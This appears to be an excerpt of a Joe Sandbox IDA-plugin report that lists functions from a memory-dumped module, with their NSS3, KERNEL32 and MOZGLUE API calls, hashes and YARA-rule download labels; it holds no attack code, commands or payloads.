Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 3f1dd218e80298b4e7e0e06ffe2a273b693e3dd16b99af5045af3f7b1101be73
Instruction ID: 589b4fac9c2563a5b3187d73aa578bca01c91e024bc4691e8dd27fe96271a0ba
Opcode Fuzzy Hash: 3f1dd218e80298b4e7e0e06ffe2a273b693e3dd16b99af5045af3f7b1101be73
Instruction Fuzzy Hash: 49719771A00314CFDB20CF9AC5C0689B7B4FFA9718F25816DD959AB702EB74A942CF90

Function 6CB9DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CBA1397,5B5F5EC0,?,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB3C
Part of subcall function 6CB9AB10: free.MOZGLUE(D958E836,?,6CB9B1EE,2404110F,?,?), ref: 6CB9AB49
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(5D5E6CD9), ref: 6CB9AB5C
Part of subcall function 6CB9AB10: free.MOZGLUE(5D5E6CCD), ref: 6CB9AB63
Part of subcall function 6CB9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB9AB6F
Part of subcall function 6CB9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB9AB76

TlsGetValue.KERNEL32(?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9E029
PK11_IsLoggedIn.NSS3 ref: 6CB9E046

Part of subcall function 6CBA8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FAF
Part of subcall function 6CBA8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FD1
Part of subcall function 6CBA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FFA
Part of subcall function 6CBA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9013
Part of subcall function 6CBA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9042
Part of subcall function 6CBA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA905A
Part of subcall function 6CBA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9073
Part of subcall function 6CBA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9111

PR_Unlock.NSS3(?,?,?,?,6CB9B266,6CBA15C6,?,?,6CBA15C6), ref: 6CB9E149

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: b4e4c82e9a4a1668019901def0dc4ab6b7f99af42ae6411131b17ffde324b3b8
Instruction ID: 795ac81d78f787ae5cea3d8397ce7a04105da2f23c0733d57003c46277ee4470
Opcode Fuzzy Hash: b4e4c82e9a4a1668019901def0dc4ab6b7f99af42ae6411131b17ffde324b3b8
Instruction Fuzzy Hash: F3514470604691CFDB109F29C48476EBBF5FF46309F19896CD8998BB41E731E884CB92

Function 6CBABE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CBABF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBABF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CB89F71,?,?,00000000), ref: 6CBABF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBABFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBAC014

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 982672e1a9ccbf40dde10925bad6eeb52272e33d63613c845f0618d375719b28
Instruction ID: 76737facc1c3171ed6bc5153fca072e8d6946a7e3c06e9fd6412f98eda31af05
Opcode Fuzzy Hash: 982672e1a9ccbf40dde10925bad6eeb52272e33d63613c845f0618d375719b28
Instruction Fuzzy Hash: 2541C971A052459BEF00CEA5CC50BEE77B9EF49208F154138D865D7B41FB32E946CB92

Function 6CB7EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB7EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB7EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB7EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB7EEEB
free.MOZGLUE(?), ref: 6CB7EEF6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 74eca9318350ec85ead63104e20c55f3ed0ef06937cf68177922e54ade590f61
Instruction ID: 4877d5e4bab9c4d5c6c978c5bbc029a321b86bc62f0033e96d3b465d56de3838
Opcode Fuzzy Hash: 74eca9318350ec85ead63104e20c55f3ed0ef06937cf68177922e54ade590f61
Instruction Fuzzy Hash: C831D4716002C19FEB709F28CC45BAA7BB4FF4A315F140929EC6A87A50DB31E455C7E2

Function 6CB91F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB91F1C

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CCA9EBC), ref: 6CB91FB8
SEC_ASN1EncodeItem_Util.NSS3(6CCA9E9C,?,?,6CCA9E9C), ref: 6CB9200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB92020

Part of subcall function 6CB86A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB8AD50,?,?), ref: 6CB86A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB92030

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 939fca6f9ac01be73e3b3841aac0da83b8865d692767b0023fffe076dc1e183f
Instruction ID: 3867b86c7e832596194a0f6ca36865e4db9f9f3e6f15dc5736e59fe1c1ed83d4
Opcode Fuzzy Hash: 939fca6f9ac01be73e3b3841aac0da83b8865d692767b0023fffe076dc1e183f
Instruction Fuzzy Hash: D021F276901586ABEB015A15DC41FAA776CFF4731CF284234E82996F81F732E528C7A3

Function 6CBC1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CBA6295,?,00000000,00000000,00000001,6CBC2653,?), ref: 6CBC1ECB

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CBA6295,?,00000000,00000000,00000001,6CBC2653,?), ref: 6CBC1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CBC1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CBC1F39

Part of subcall function 6CBCFE20: TlsGetValue.KERNEL32(6CBA5ADC,?,00000000,00000001,?,?,00000000,?,6CB9BA55,?,?), ref: 6CBCFE4B
Part of subcall function 6CBCFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBCFE5F

PR_Unlock.NSS3(?), ref: 6CBC1F67

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: a1afbbb63f1d31df7e8e58d70c03bf572653d32efe9a3838d1be40aa1c174640
Instruction ID: cf689448ad80ca0e8cc93b836b4ea3438ba0c7e16b40dad5ba34f925c5881d92
Opcode Fuzzy Hash: a1afbbb63f1d31df7e8e58d70c03bf572653d32efe9a3838d1be40aa1c174640
Instruction Fuzzy Hash: 54210171B04285ABEF00AE29EC44A9A3779EF45368F180164FD08E7B11EB30E954C7E2

Function 6CB81DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB81E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB81E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB81E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB81E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB81EAD

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: bf893df5f51b021c3863b645551d0e5c84a165451502f3452c144632d7e0f961
Instruction ID: 2babe8b480cde44b9d3512d6c5dbb6bff0bce833b8840d037bb4c90c7e89f61e
Opcode Fuzzy Hash: bf893df5f51b021c3863b645551d0e5c84a165451502f3452c144632d7e0f961
Instruction Fuzzy Hash: EE213A72E06750A7D7008F68DC40B8F7394DB8836AF194638ED6957781E730D908C7E2

Function 6CC91E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC91E5C

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

PR_Lock.NSS3(00000000), ref: 6CC91E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC91EAB
PR_GetCurrentThread.NSS3 ref: 6CC91ED0
PR_Unlock.NSS3(?), ref: 6CC91EE8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 2bb19c2746fc75f5960ceb960b502d735579af84a6030e0405d9c3b776aba7e2
Instruction ID: 55e66103eca8c9dbcc9afab0310feaae4def65aa7654381325dca1e7b000e7d5
Opcode Fuzzy Hash: 2bb19c2746fc75f5960ceb960b502d735579af84a6030e0405d9c3b776aba7e2
Instruction Fuzzy Hash: 9721CC74A04622ABD710CF2ED945A16B7B8FF45718B258269E8198BB40F730F820CBD1

Function 6CBDBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?,?), ref: 6CBDBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEEB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: bc7c70e5e0552b8a60f9e00ffcfa4b391f1894290988610fd92d3cc5eb74a68a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: BF11EF66A043C667EF0089A6AC80F6B736DDB81B58F064135FE0487A52EB31F80486E3

Function 6CB8AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000,00000000), ref: 6CB8ADA7

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000,00000000), ref: 6CB8ADB4

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB83FFF,?,?,?,?,6CB83FFF,00000000,?,?,?,?,?,6CB81A1C,00000000), ref: 6CB8ADD5

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA94B0,?,?,?,?,?,?,?,?,6CB83FFF,00000000,?), ref: 6CB8ADEC

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB83FFF), ref: 6CB8AE3C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: a26ee068b9c7601342940c74f8e896a3bd918c502ebac54d3ea26debac8cff84
Instruction ID: a33a60b5c8bb04af8c832d73bd014b77d45862570df35e2022da152ec0e2a56c
Opcode Fuzzy Hash: a26ee068b9c7601342940c74f8e896a3bd918c502ebac54d3ea26debac8cff84
Instruction Fuzzy Hash: 42115672E003445BF7009B649C01BBF73F8DF9564EF148629EC1996781FB20E94886E3

Function 6CBA8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EA2

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EC3
TlsGetValue.KERNEL32(?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C), ref: 6CBA8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CBC2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBA8EF1
PR_Unlock.NSS3 ref: 6CBA8F20

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: a7a39792c7f26747bf9604d0ee3fd7291f43c1e6bfa810678d015551caeb58a7
Instruction ID: f2ee995c83554d915ac765883c72538c1c70acf2a3bc6b6b48008428053fb0cd
Opcode Fuzzy Hash: a7a39792c7f26747bf9604d0ee3fd7291f43c1e6bfa810678d015551caeb58a7
Instruction Fuzzy Hash: 3D217E709096859FDB00AF69D08419DBBF4FF48314F41456EEC989BB41D731E855CBD2

Function 6CB98FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CBA0710), ref: 6CB98FF1
PR_CallOnce.NSS3(6CCE2158,6CB99150,00000000,?,?,?,6CB99138,?,6CBA0710), ref: 6CB99029
calloc.MOZGLUE(00000001,00000000,?,?,6CBA0710), ref: 6CB9904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CBA0710), ref: 6CB99066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CBA0710), ref: 6CB99078

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 5f0f0c28d99b6386aace3934c5d82c245f85ff37763649baa140dbf5001bf27b
Instruction ID: c04f507fe7255b8cce102e90ebd6f0fe24de66cacf7309c7cf5bb8c1bc0787d2
Opcode Fuzzy Hash: 5f0f0c28d99b6386aace3934c5d82c245f85ff37763649baa140dbf5001bf27b
Instruction Fuzzy Hash: C911E521B001A15BEBA016A9AC44A6A77ACEB837ACF500531FC6CC6A41F753CD4593E2

Function 6CBACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC1E10: TlsGetValue.KERNEL32 ref: 6CBC1E36
Part of subcall function 6CBC1E10: EnterCriticalSection.KERNEL32(?,?,?,6CB9B1EE,2404110F,?,?), ref: 6CBC1E4B
